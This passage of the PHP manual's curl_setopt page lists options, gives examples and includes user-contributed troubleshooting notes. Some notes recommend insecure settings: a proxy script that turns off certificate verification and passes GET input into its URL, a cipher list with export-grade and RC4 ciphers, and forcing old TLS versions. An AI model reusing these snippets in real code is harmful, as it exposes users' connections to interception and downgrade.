CURLOPT_SSL_VERIFYPEER | FALSE to stop cURL from verifying the peer's certificate. Alternate certificates to verify against can be specified with the CURLOPT_CAINFO option or a certificate directory can be specified with the CURLOPT_CAPATH option. | TRUE by default as of cURL 7.10. Default bundle installed as of cURL 7.10.
CURLOPT_TRANSFERTEXT | TRUE to use ASCII mode for FTP transfers. For LDAP, it retrieves data in plain text instead of HTML. On Windows systems, it will not set STDOUT to binary mode.
CURLOPT_UNRESTRICTED_AUTH | TRUE to keep sending the username and password when following locations (using CURLOPT_FOLLOWLOCATION), even when the hostname has changed.
CURLOPT_UPLOAD | TRUE to prepare for an upload.
CURLOPT_VERBOSE | TRUE to output verbose information. Writes output to STDERR, or the file specified using CURLOPT_STDERR.

value should be an integer for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_BUFFERSIZE | The size of the buffer to use for each read. There is no guarantee this request will be fulfilled, however. | Added in cURL 7.10.
CURLOPT_CLOSEPOLICY One of the CURLCLOSEPOLICY_* values.

Note:

This option is deprecated, as it was never implemented in cURL and never had any effect.

Removed in PHP 5.6.0.
CURLOPT_CONNECTTIMEOUT | The number of seconds to wait while trying to connect. Use 0 to wait indefinitely.
CURLOPT_CONNECTTIMEOUT_MS | The number of milliseconds to wait while trying to connect. Use 0 to wait indefinitely. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second. | Added in cURL 7.16.2. Available since PHP 5.2.3.
CURLOPT_DNS_CACHE_TIMEOUT | The number of seconds to keep DNS entries in memory. This option is set to 120 (2 minutes) by default.
CURLOPT_FTPSSLAUTH | The FTP authentication method (when is activated): CURLFTPAUTH_SSL (try SSL first), CURLFTPAUTH_TLS (try TLS first), or CURLFTPAUTH_DEFAULT (let cURL decide). | Added in cURL 7.12.2.
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (default, lets CURL decide which version to use), CURL_HTTP_VERSION_1_0 (forces HTTP/1.0), or CURL_HTTP_VERSION_1_1 (forces HTTP/1.1).
CURLOPT_HTTPAUTH

The HTTP authentication method(s) to use. The options are: CURLAUTH_BASIC, CURLAUTH_DIGEST, CURLAUTH_GSSNEGOTIATE, CURLAUTH_NTLM, CURLAUTH_ANY, and CURLAUTH_ANYSAFE.

The bitwise | (or) operator can be used to combine more than one method. If this is done, cURL will poll the server to see what methods it supports and pick the best one.

CURLAUTH_ANY is an alias for CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM.

CURLAUTH_ANYSAFE is an alias for CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM.

CURLOPT_INFILESIZE | The expected size, in bytes, of the file when uploading a file to a remote site. Note that using this option will not stop libcurl from sending more data, as exactly what is sent depends on CURLOPT_READFUNCTION.
CURLOPT_LOW_SPEED_LIMIT | The transfer speed, in bytes per second, that the transfer should be below during the count of CURLOPT_LOW_SPEED_TIME seconds before PHP considers the transfer too slow and aborts.
CURLOPT_LOW_SPEED_TIME | The number of seconds the transfer speed should be below CURLOPT_LOW_SPEED_LIMIT before PHP considers the transfer too slow and aborts.
CURLOPT_MAXCONNECTS | The maximum amount of persistent connections that are allowed. When the limit is reached, CURLOPT_CLOSEPOLICY is used to determine which connection to close.
CURLOPT_MAXREDIRS | The maximum amount of HTTP redirections to follow. Use this option alongside CURLOPT_FOLLOWLOCATION.
CURLOPT_PORT | An alternative port number to connect to.
CURLOPT_PROTOCOLS

Bitmask of CURLPROTO_* values. If used, this bitmask limits what protocols libcurl may use in the transfer. This allows you to have a libcurl built to support a wide range of protocols but still limit specific transfers to only be allowed to use a subset of them. By default libcurl will accept all protocols it supports. See also CURLOPT_REDIR_PROTOCOLS.

Valid protocol options are: CURLPROTO_HTTP, CURLPROTO_HTTPS, CURLPROTO_FTP, CURLPROTO_FTPS, CURLPROTO_SCP, CURLPROTO_SFTP, CURLPROTO_TELNET, CURLPROTO_LDAP, CURLPROTO_LDAPS, CURLPROTO_DICT, CURLPROTO_FILE, CURLPROTO_TFTP, CURLPROTO_ALL

Added in cURL 7.19.4.
CURLOPT_PROXYAUTH | The HTTP authentication method(s) to use for the proxy connection. Use the same bitmasks as described in CURLOPT_HTTPAUTH. For proxy authentication, only CURLAUTH_BASIC and CURLAUTH_NTLM are currently supported. | Added in cURL 7.10.7.
CURLOPT_PROXYPORT | The port number of the proxy to connect to. This port number can also be set in CURLOPT_PROXY.
CURLOPT_PROXYTYPE | Either CURLPROXY_HTTP (default) or CURLPROXY_SOCKS5. | Added in cURL 7.10.
CURLOPT_REDIR_PROTOCOLS | Bitmask of CURLPROTO_* values. If used, this bitmask limits what protocols libcurl may use in a transfer that it follows to in a redirect when CURLOPT_FOLLOWLOCATION is enabled. This allows you to limit specific transfers to only be allowed to use a subset of protocols in redirections. By default libcurl will allow all protocols except for FILE and SCP. This is a difference compared to pre-7.19.4 versions which unconditionally would follow to all protocols supported. See also CURLOPT_PROTOCOLS for protocol constant values. | Added in cURL 7.19.4.
CURLOPT_RESUME_FROM | The offset, in bytes, to resume a transfer from.
CURLOPT_SSL_VERIFYHOST | 1 to check the existence of a common name in the SSL peer certificate. 2 to check the existence of a common name and also verify that it matches the hostname provided. In production environments the value of this option should be kept at 2 (default value). | Support for value 1 removed in cURL 7.28.1
CURLOPT_SSLVERSION One of CURL_SSLVERSION_DEFAULT (0), CURL_SSLVERSION_TLSv1 (1), CURL_SSLVERSION_SSLv2 (2), CURL_SSLVERSION_SSLv3 (3), CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1 (5) or CURL_SSLVERSION_TLSv1_2 (6).

Note:

Your best bet is to not set this and let it use the default. Setting it to 2 or 3 is very dangerous given the known vulnerabilities in SSLv2 and SSLv3.

CURLOPT_TIMECONDITION | How CURLOPT_TIMEVALUE is treated. Use CURL_TIMECOND_IFMODSINCE to return the page only if it has been modified since the time specified in CURLOPT_TIMEVALUE. If it hasn't been modified, a "304 Not Modified" header will be returned assuming CURLOPT_HEADER is TRUE. Use CURL_TIMECOND_IFUNMODSINCE for the reverse effect. CURL_TIMECOND_IFMODSINCE is the default.
CURLOPT_TIMEOUT | The maximum number of seconds to allow cURL functions to execute.
CURLOPT_TIMEOUT_MS | The maximum number of milliseconds to allow cURL functions to execute. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second. | Added in cURL 7.16.2. Available since PHP 5.2.3.
CURLOPT_TIMEVALUE | The time in seconds since January 1st, 1970. The time will be used by CURLOPT_TIMECONDITION. By default, CURL_TIMECOND_IFMODSINCE is used.
CURLOPT_MAX_RECV_SPEED_LARGE | If a download exceeds this speed (counted in bytes per second) on cumulative average during the transfer, the transfer will pause to keep the average rate less than or equal to the parameter value. Defaults to unlimited speed. | Added in cURL 7.15.5. Available since PHP 5.4.0.
CURLOPT_MAX_SEND_SPEED_LARGE | If an upload exceeds this speed (counted in bytes per second) on cumulative average during the transfer, the transfer will pause to keep the average rate less than or equal to the parameter value. Defaults to unlimited speed. | Added in cURL 7.15.5. Available since PHP 5.4.0.
CURLOPT_SSH_AUTH_TYPES | A bitmask consisting of one or more of CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD. Set to CURLSSH_AUTH_ANY to let libcurl pick one. | Added in cURL 7.16.1.
CURLOPT_IPRESOLVE | Allows an application to select what kind of IP addresses to use when resolving host names. This is only interesting when using host names that resolve addresses using more than one version of IP, possible values are CURL_IPRESOLVE_WHATEVER, CURL_IPRESOLVE_V4, CURL_IPRESOLVE_V6, by default CURL_IPRESOLVE_WHATEVER. | Added in cURL 7.10.8.

value should be a string for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_CAINFO | The name of a file holding one or more certificates to verify the peer with. This only makes sense when used in combination with CURLOPT_SSL_VERIFYPEER. | Requires absolute path.
CURLOPT_CAPATH | A directory that holds multiple CA certificates. Use this option alongside CURLOPT_SSL_VERIFYPEER.
CURLOPT_COOKIE | The contents of the "Cookie: " header to be used in the HTTP request. Note that multiple cookies are separated with a semicolon followed by a space (e.g., "fruit=apple; colour=red")
CURLOPT_COOKIEFILE | The name of the file containing the cookie data. The cookie file can be in Netscape format, or just plain HTTP-style headers dumped into a file. If the name is an empty string, no cookies are loaded, but cookie handling is still enabled.
CURLOPT_COOKIEJAR | The name of a file to save all internal cookies to when the handle is closed, e.g. after a call to curl_close.
CURLOPT_CUSTOMREQUEST

A custom request method to use instead of "GET" or "HEAD" when doing a HTTP request. This is useful for doing "DELETE" or other, more obscure HTTP requests. Valid values are things like "GET", "POST", "CONNECT" and so on; i.e. Do not enter a whole HTTP request line here. For instance, entering "GET /index.html HTTP/1.0\r\n\r\n" would be incorrect.

Note:

Don't do this without making sure the server supports the custom request method first.

CURLOPT_EGDSOCKET | Like CURLOPT_RANDOM_FILE, except a filename to an Entropy Gathering Daemon socket.
CURLOPT_ENCODING | The contents of the "Accept-Encoding: " header. This enables decoding of the response. Supported encodings are "identity", "deflate", and "gzip". If an empty string, "", is set, a header containing all supported encoding types is sent. | Added in cURL 7.10.
CURLOPT_FTPPORT | The value which will be used to get the IP address to use for the FTP "PORT" instruction. The "PORT" instruction tells the remote server to connect to our specified IP address. The string may be a plain IP address, a hostname, a network interface name (under Unix), or just a plain '-' to use the systems default IP address.
CURLOPT_INTERFACE | The name of the outgoing network interface to use. This can be an interface name, an IP address or a host name.
CURLOPT_KEYPASSWD | The password required to use the CURLOPT_SSLKEY or CURLOPT_SSH_PRIVATE_KEYFILE private key. | Added in cURL 7.16.1.
CURLOPT_KRB4LEVEL | The KRB4 (Kerberos 4) security level. Any of the following values (in order from least to most powerful) are valid: "clear", "safe", "confidential", "private".. If the string does not match one of these, "private" is used. Setting this option to NULL will disable KRB4 security. Currently KRB4 security only works with FTP transactions.
CURLOPT_POSTFIELDS | The full data to post in a HTTP "POST" operation. To post a file, prepend a filename with @ and use the full path. The filetype can be explicitly specified by following the filename with the type in the format ';type=mimetype'. This parameter can either be passed as a urlencoded string like 'para1=val1&para2=val2&...' or as an array with the field name as key and field data as value. If value is an array, the Content-Type header will be set to multipart/form-data. As of PHP 5.2.0, value must be an array if files are passed to this option with the @ prefix. As of PHP 5.5.0, the @ prefix is deprecated and files can be sent using CURLFile. The @ prefix can be disabled for safe passing of values beginning with @ by setting the CURLOPT_SAFE_UPLOAD option to TRUE.
CURLOPT_PROXY | The HTTP proxy to tunnel requests through.
CURLOPT_PROXYUSERPWD | A username and password formatted as "[username]:[password]" to use for the connection to the proxy.
CURLOPT_RANDOM_FILE | A filename to be used to seed the random number generator for SSL.
CURLOPT_RANGE | Range(s) of data to retrieve in the format "X-Y" where X or Y are optional. HTTP transfers also support several intervals, separated with commas in the format "X-Y,N-M".
CURLOPT_REFERER | The contents of the "Referer: " header to be used in a HTTP request.
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 | A string containing 32 hexadecimal digits. The string should be the MD5 checksum of the remote host's public key, and libcurl will reject the connection to the host unless the md5sums match. This option is only for SCP and SFTP transfers. | Added in cURL 7.17.1.
CURLOPT_SSH_PUBLIC_KEYFILE | The file name for your public key. If not used, libcurl defaults to $HOME/.ssh/id_dsa.pub if the HOME environment variable is set, and just "id_dsa.pub" in the current directory if HOME is not set. | Added in cURL 7.16.1.
CURLOPT_SSH_PRIVATE_KEYFILE | The file name for your private key. If not used, libcurl defaults to $HOME/.ssh/id_dsa if the HOME environment variable is set, and just "id_dsa" in the current directory if HOME is not set. If the file is password-protected, set the password with CURLOPT_KEYPASSWD. | Added in cURL 7.16.1.
CURLOPT_SSL_CIPHER_LIST | A list of ciphers to use for SSL. For example, RC4-SHA and TLSv1 are valid cipher lists.
CURLOPT_SSLCERT | The name of a file containing a PEM formatted certificate.
CURLOPT_SSLCERTPASSWD | The password required to use the CURLOPT_SSLCERT certificate.
CURLOPT_SSLCERTTYPE | The format of the certificate. Supported formats are "PEM" (default), "DER", and "ENG". | Added in cURL 7.9.3.
CURLOPT_SSLENGINE | The identifier for the crypto engine of the private SSL key specified in CURLOPT_SSLKEY.
CURLOPT_SSLENGINE_DEFAULT | The identifier for the crypto engine used for asymmetric crypto operations.
CURLOPT_SSLKEY | The name of a file containing a private SSL key.
CURLOPT_SSLKEYPASSWD

The secret password needed to use the private SSL key specified in CURLOPT_SSLKEY.

Note:

Since this option contains a sensitive password, remember to keep the PHP script it is contained within safe.

CURLOPT_SSLKEYTYPE | The key type of the private SSL key specified in CURLOPT_SSLKEY. Supported key types are "PEM" (default), "DER", and "ENG".
CURLOPT_URL | The URL to fetch. This can also be set when initializing a session with curl_init().
CURLOPT_USERAGENT | The contents of the "User-Agent: " header to be used in a HTTP request.
CURLOPT_USERPWD | A username and password formatted as "[username]:[password]" to use for the connection.

value should be an array for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_HTTP200ALIASES | An array of HTTP 200 responses that will be treated as valid responses and not as errors. | Added in cURL 7.10.3.
CURLOPT_HTTPHEADER | An array of HTTP header fields to set, in the format array('Content-type: text/plain', 'Content-length: 100')
CURLOPT_POSTQUOTE | An array of FTP commands to execute on the server after the FTP request has been performed.
CURLOPT_QUOTE | An array of FTP commands to execute on the server prior to the FTP request.

value should be a stream resource (using fopen(), for example) for the following values of the option parameter:

Option | Set value to
CURLOPT_FILE | The file that the transfer should be written to. The default is STDOUT (the browser window).
CURLOPT_INFILE | The file that the transfer should be read from when uploading.
CURLOPT_STDERR | An alternative location to output errors to instead of STDERR.
CURLOPT_WRITEHEADER | The file that the header part of the transfer is written to.

value should be the name of a valid function or a Closure for the following values of the option parameter:

Option | Set value to
CURLOPT_HEADERFUNCTION | A callback accepting two parameters. The first is the cURL resource, the second is a string with the header data to be written. The header data must be written when by this callback. Return the number of bytes written.
CURLOPT_PASSWDFUNCTION | A callback accepting three parameters. The first is the cURL resource, the second is a string containing a password prompt, and the third is the maximum password length. Return the string containing the password.
CURLOPT_PROGRESSFUNCTION

A callback accepting five parameters. The first is the cURL resource, the second is the total number of bytes expected to be downloaded in this transfer, the third is the number of bytes downloaded so far, the fourth is the total number of bytes expected to be uploaded in this transfer, and the fifth is the number of bytes uploaded so far.

Note:

The callback is only called when the CURLOPT_NOPROGRESS option is set to FALSE.

Return a non-zero value to abort the transfer. In which case, the transfer will set a CURLE_ABORTED_BY_CALLBACK error.

CURLOPT_READFUNCTION | A callback accepting three parameters. The first is the cURL resource, the second is a stream resource provided to cURL through the option CURLOPT_INFILE, and the third is the maximum amount of data to be read. The callback must return a string with a length equal or smaller than the amount of data requested, typically by reading it from the passed stream resource. It should return an empty string to signal EOF.
CURLOPT_WRITEFUNCTION | A callback accepting two parameters. The first is the cURL resource, and the second is a string with the data to be written. The data must be saved by this callback. It must return the exact number of bytes written or the transfer will be aborted with an error.

Other values:

Option | Set value to
CURLOPT_SHARE | A result of curl_share_init(). Makes the cURL handle to use the data from the shared handle.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.6.0 | CURL_SAFE_UPLOAD is now TRUE by default.
5.6.0 | Removed CURLOPT_CLOSEPOLICY and associated values.
5.5.0 | Added the cURL resource as the first argument to the CURLOPT_PROGRESSFUNCTION callback.
5.5.0 | Introduced CURLOPT_SHARE.
5.3.0 | Introduced CURLOPT_PROGRESSFUNCTION.
5.2.10 | Introduced CURLOPT_PROTOCOLS, and CURLOPT_REDIR_PROTOCOLS.
5.1.0 | Introduced CURLOPT_AUTOREFERER, CURLOPT_BINARYTRANSFER, CURLOPT_FTPSSLAUTH, CURLOPT_PROXYAUTH, and CURLOPT_TIMECONDITION.
5.0.0 | Introduced CURLOPT_FTP_USE_EPRT, CURLOPT_NOSIGNAL, CURLOPT_UNRESTRICTED_AUTH, CURLOPT_BUFFERSIZE, CURLOPT_HTTPAUTH, CURLOPT_PROXYPORT, CURLOPT_PROXYTYPE, CURLOPT_SSLCERTTYPE, and CURLOPT_HTTP200ALIASES.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

Example #2 Uploading file

<?php

/* http://localhost/upload.php:
print_r($_POST);
print_r($_FILES);
*/

$ch = curl_init();

$data = array('name' => 'Foo', 'file' => '@/home/user/test.png');

curl_setopt($ch, CURLOPT_URL, 'http://localhost/upload.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

curl_exec($ch);
?>

The above example will output:

Array
(
    [name] => Foo
)
Array
(
    [file] => Array
        (
            [name] => test.png
            [type] => image/png
            [tmp_name] => /tmp/phpcpjNeQ
            [error] => 0
            [size] => 279
        )

)

Notes

Note:

Passing an array to CURLOPT_POSTFIELDS will encode the data as multipart/form-data, while passing a URL-encoded string will encode the data as application/x-www-form-urlencoded.

See Also

  • curl_setopt_array() - Set multiple options for a cURL transfer

User Contributed Notes

Richard 24-Oct-2014 05:10
CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1 (5) or CURL_SSLVERSION_TLSv1_2 (6) only work for PHP versions using curl 7.34 or newer.
White Gandalf 06-Aug-2014 01:38
to complement shiplu's  comment on the neccessary option sequence of CURLOPT_POST before CURLOPT_POSTFIELDS:

The crux is not some error on nginx, but that nothing at all will be send over the line by curl. Parameters set by a "CURLOPT_POSTFIELDS" option setting will be completely ignored, as long as no "CURLOPT_POST" has been encountered beforehand: Neigther the Content-Type header will be set/generated accordingly nor Content-Length nor any data will be send in the body.

When using curl_setopt_array, the sequence in the array matters as well.
Simeon Anastasov 04-Jun-2014 10:46
One note of importance when you open several cURL handles simultaneously: If you want to share cookies via cookie-jar file among all your handles - be sure to curl_close() one before using the cookie-jar file from the other.

It appears that during cURL handler execution the cookies are kept in some sort of handler specific internal session storage and only upon explicit curl_close() call or interpreter exit garbage collection these cookies are actually flushed to the file on the hard disk ( I guess for performance reasons ).

I hope this note will save you couple of hours debugging :)
oleg dot nucer at gmail dot com 01-Jun-2014 02:56
The @ char will not work in CURLOPT_POSTFIELDS since PHP 5.5! There is nothing about it in stupid Russian version of docs. I've spend few hours trying to find the problme in my code before read the English manual))
maxime dot elomari at gmail dot com 06-May-2014 12:52
If you get an error with the error code 35 saying "Unknown SSL protocol error in connection to ...", maybe you are using the wrongs ciphers.

Try to precise a bunch of ciphers as below:

$arrayCiphers = array(
                'DHE-RSA-AES256-SHA',
        'DHE-DSS-AES256-SHA',
        'AES256-SHA:KRB5-DES-CBC3-MD5',
        'KRB5-DES-CBC3-SHA',
        'EDH-RSA-DES-CBC3-SHA',
        'EDH-DSS-DES-CBC3-SHA',
        'DES-CBC3-SHA:DES-CBC3-MD5',
        'DHE-RSA-AES128-SHA',
        'DHE-DSS-AES128-SHA',
        'AES128-SHA:RC2-CBC-MD5',
        'KRB5-RC4-MD5:KRB5-RC4-SHA',
        'RC4-SHA:RC4-MD5:RC4-MD5',
        'KRB5-DES-CBC-MD5',
        'KRB5-DES-CBC-SHA',
        'EDH-RSA-DES-CBC-SHA',
        'EDH-DSS-DES-CBC-SHA:DES-CBC-SHA',
        'DES-CBC-MD5:EXP-KRB5-RC2-CBC-MD5',
        'EXP-KRB5-DES-CBC-MD5',
        'EXP-KRB5-RC2-CBC-SHA',
        'EXP-KRB5-DES-CBC-SHA',
        'EXP-EDH-RSA-DES-CBC-SHA',
        'EXP-EDH-DSS-DES-CBC-SHA',
        'EXP-DES-CBC-SHA',
        'EXP-RC2-CBC-MD5',
        'EXP-RC2-CBC-MD5',
        'EXP-KRB5-RC4-MD5',
        'EXP-KRB5-RC4-SHA',
        'EXP-RC4-MD5:EXP-RC4-MD5'
);

curl_setopt($ch, CURLOPT_SSL_CIPHER_LIST, implode(':', $arrayCiphers));

Worked for me, could work for you!

P.S: Used with PHP 5.4 and cURL 7.26.0.
gabriel dot rota at gmail dot com 15-Apr-2014 01:22
php curl pass through proxy handle: big file, https, autentication

<?php
/*
 * curl-pass-through-proxy.php
 *
 * Copyright 2014 Gabriel Rota <gabriel.rota@gmail.com>
 *
 * propose: php curl pass through proxy handle: big file, https, autentication
 * example: curl-pass-through-proxy.php?url=precise/ubuntu-12.04.4-desktop-i386.iso
 * limitation: don't work on binary if is enabled in php.ini the ;output_handler = ob_gzhandler
 * licence: BSD
 *
 */

  $url = "http://releases.ubuntu.com/" . $_GET["url"]; // NOTE: this example don't use https
  $credentials = "user:pwd";
  $headers = array(
    "GET ".$url." HTTP/1.1",
    "Content-type: text/xml",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Cache-Control: no-cache",
    "Pragma: no-cache",
    "Authorization: Basic " . base64_encode($credentials)
  );

  global $filename; // used in fn_CURLOPT_HEADERFUNCTION setting download filename
  $filename = substr($url, strrpos($url, "/")+1); // find last /

  function fn_CURLOPT_WRITEFUNCTION($ch, $str){
    $len = strlen($str);
    echo( $str );
    return $len;
  }

  function fn_CURLOPT_HEADERFUNCTION($ch, $str){
    global $filename;
    $len = strlen($str);
    header( $str );
    //~ error_log("curl-pass-through-proxy:fn_CURLOPT_HEADERFUNCTION:str:".$str.PHP_EOL, 3, "/tmp/curl-pass-through-proxy.log");
    if ( strpos($str, "application/x-iso9660-image") !== false ) {
      header( "Content-Disposition: attachment; filename=\"$filename\"" ); // set download filename
    }
    return $len;
  }

  $ch = curl_init(); // init curl resource
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // a true curl_exec return content
    curl_setopt($ch, CURLOPT_TIMEOUT, 600); // 60 second
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // login $url
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // don't check certificate
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // don't check certificate
    curl_setopt($ch, CURLOPT_HEADER, false); // true Return the HTTP headers in string, no good with CURLOPT_HEADERFUNCTION
    curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192); // 8192 8k
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, "fn_CURLOPT_HEADERFUNCTION"); // handle received headers
    curl_setopt($ch, CURLOPT_WRITEFUNCTION, 'fn_CURLOPT_WRITEFUNCTION'); // callad every CURLOPT_BUFFERSIZE

    if ( ! curl_exec($ch) ) {
      error_log( "curl-pass-through-proxy:Error:".curl_error($ch).PHP_EOL, 3, "/tmp/curl-pass-through-proxy.log" );
    }

  curl_close($ch); // close curl resource

?>
lachlan at radelaide dot net 07-Mar-2014 09:29
For those using CURLAUTH_NTLM, it may come to no surprise  that NTLM request will fail if you have set CURLOPT_FORBID_REUSE to true.

This is because NTLM authorisation is connect-based, not request-based. If the connection is not kept alive and re-used, cURL can never complete the request.

You may notice this if you get a 401 status code or max out the number of redirects.
Martin K. 28-Feb-2014 02:31
If you need to read page contents in between file downloads, while still using the same curl handle, you'll probably need this code:
<?php
    curl_setopt($handle, CURLOPT_FILE, fopen('php://stdout','w'));   // 'php://output' didn't work for me
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);  // using CURLOPT_FILE sets this to false automatically
?>
Martin K. 25-Feb-2014 02:36
If you only want to enable cookie handling and you don't need to save the cookies for a separate session, just set CURLOPT_COOKIEFILE to an empty string.  I was given the advice to use php://memory but that did not seem to have the same effect.

Although this is stated in the documentation I thought it was worth reiterating since it cause me so much trouble.
Joan 08-Jan-2014 04:59
Using CURLOPT_NOPROXY to avoid using the proxy for some urls is very convenient.
For example when the page is trying to look for itself.
The parameter can be found at least in version 5.5.7, (probably earlier)
Unfortunately it's not present on debian wheezy (5.4.4) but it will be on jessie (it's already there)

A related bug: https://bugs.php.net/bug.php?id=53543
etiennez0r at gmail dot com 27-Nov-2013 05:48
// For those having message
// SSL connection timeout
curl_setopt($ch, CURLOPT_SSLVERSION, 1);
// solved for me
badman 15-Nov-2013 07:36
Many hosters use PHP safe_mode or/and open_basedir, so you can't use CURLOPT_FOLLOWLOCATION. If you try, you see message like this:
CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in [you script name & path] on line XXX

First, I try to use zsalab function (http://us2.php.net/manual/en/function.curl-setopt.php#102121) from this page, but for some reason it did not work properly. So, I wrote my own.

It can be use instead of curl_exec. If server HTTP response codes is 30x, function will forward the request as long as the response is not different from 30x (for example, 200 Ok). Also you can use POST.

function curlExec(/* Array */$curlOptions='', /* Array */$curlHeaders='', /* Array */$postFields='')
{
  $newUrl = '';
  $maxRedirection = 10;
  do
  {
    if ($maxRedirection<1) die('Error: reached the limit of redirections');

    $ch = curl_init();
    if (!empty($curlOptions)) curl_setopt_array($ch, $curlOptions);
    if (!empty($curlHeaders)) curl_setopt($ch, CURLOPT_HTTPHEADER, $curlHeaders);
    if (!empty($postFields))
    {
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    }

    if (!empty($newUrl)) curl_setopt($ch, CURLOPT_URL, $newUrl); // redirect needed

    $curlResult = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($code == 301 || $code == 302 || $code == 303 || $code == 307)
    {
      preg_match('/Location:(.*?)\n/', $curlResult, $matches);
      $newUrl = trim(array_pop($matches));
      curl_close($ch);

      $maxRedirection--;
      continue;
    }
    else // no more redirection
    {
      $code = 0;
      curl_close($ch);
    }
  }
  while($code);
  return $curlResult;
}
mfuhrman at enetarch dot net 21-Aug-2013 08:20
Here is an example of sending JSON data as via POST.

index.php
------
$data = array
(
  "command" => "isInstalled",
  "params" => Array
  (
    "1" => "3",
    "2" => "4",
  )
);

$data_string = "json=" . json_encode($data) . "&";
$ch = curl_init("http://localhose/parrot.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
$results = curl_exec($ch);

print ($results);
?>
=====

parrot.php
------
<?
print_r ($_REQUEST);
?>
shiplu at programmer dot net 02-Jun-2013 03:23
CURLOPT_POST should be set before CURLOPT_POSTFIELDS. Otherwise you might encounter 411 Length required error.

Following code generates "411 Length Required" on nginx/1.1.15
<?php
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
curl_setopt ($ch, CURLOPT_POST, 1);
?>

But this one works.

<?php
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
?>
Manasi 11-May-2013 02:55
CURLAUTH_ANY is not an alias for CURLAUTH_NTLM. I had to specify CURLAUTH_NTLM for a Windows authenticated URL
Madcat 07-May-2013 12:14
If you have a mixture of strings starting with @ (at character) and files in CURLOPT_POSTFIELDS you have a problem (such as posting a tweet with attached media) because curl tries to interpret anything starting with @ as a file.

<?php

$postfields = array(
    'upload_file' => '@file_to_upload.png',
    'upload_text' => '@text_to_upload'
);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://example.com/upload-test');
curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
curl_exec($curl);
curl_close($curl);

?>

To get around this, prepend the text string with the NULL character like so:

<?php
    $postfields = array(
        'upload_file' => '@file_to_upload.png',
        'upload_text' => sprintf("\0%s", '@text_to_upload')
    );
?>

Original source: http://bit.ly/AntMle
S.F. 19-Apr-2013 03:48
I spent a couple of days trying to upload a file using a curl post.

The problem I ran into was the filename had an '@' in the middle of it.  It turned out that at least on my system if I encoded the file path using the quoted_printable_encode() function the upload works.

I'm posting this in the hopes that it will help someone else, and for my own future reference.

Code:
<?php

$filepath = '/tmp/test@example.txt';
$postdata['file'] = '@' . quoted_printable_encode($filepath);

//... supporting code.

$result = curl_exec($ch);

?>
I'm not exactly sure why this works when escaping the '@' doesn't work but it does for me.

If anyone can offer insight into why this works or a better way to handle the '@' symbol in a filename when using curl to upload I would love to hear it.

Thanks
dardyole at hotmail dot com 19-Apr-2013 01:29
Another note addressing the issues with servers that have open_basedir and safe mode turned on. Such an issue spawns the following E_WARNING:

Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set

After looking through the notes, most of the proposed manual implementations were kind of clunky and in some cases just didn't work at all. Most importantly (in my case), was the behaviour of the 302 Header. Anyway, here's the code I ended up using which has worked well for me in all cases so far, it even addresses the issue that caused FOLLOWLOCATION to be turned off in some cases :)

EDIT: Unfortunately the code itself is deemed "too long" for PHP's note system. I've uploaded it to a few paste sites below so hopefully the links will live for a while at least.

http://pastebin.com/aaJtPy1j
http://pastie.org/7646116

Use it as a replacement for curl_exec. For example:

<?php
$ch = curl_init("http://php.net");
var_dump(curl_exec_follow($ch, 9001));
curl_close($ch);
?>
xuyan83121 at gmail dot com 18-Mar-2013 02:54
when use curl_multi_exec, the CURLOPT_TIMEOUT need curl version newer than 7.21.2.
this can be found at curl changelog.
m at mar dot lt 26-Oct-2012 12:06
Be careful when changing CURLOPT_SSL_VERIFYHOST or other options to true (boolean). It may cause insecure behavior [1]

This is because boolean true casts into integer 1, and CURLOPT_SSL_VERIFYHOST = 1 is not secure behavior.

The *correct* value here is CURLOPT_SSL_VERIFYHOST = 2. By setting this value equal to 1 the peer certificate must contain a Common Name field, but it doesn't matter what name it says.

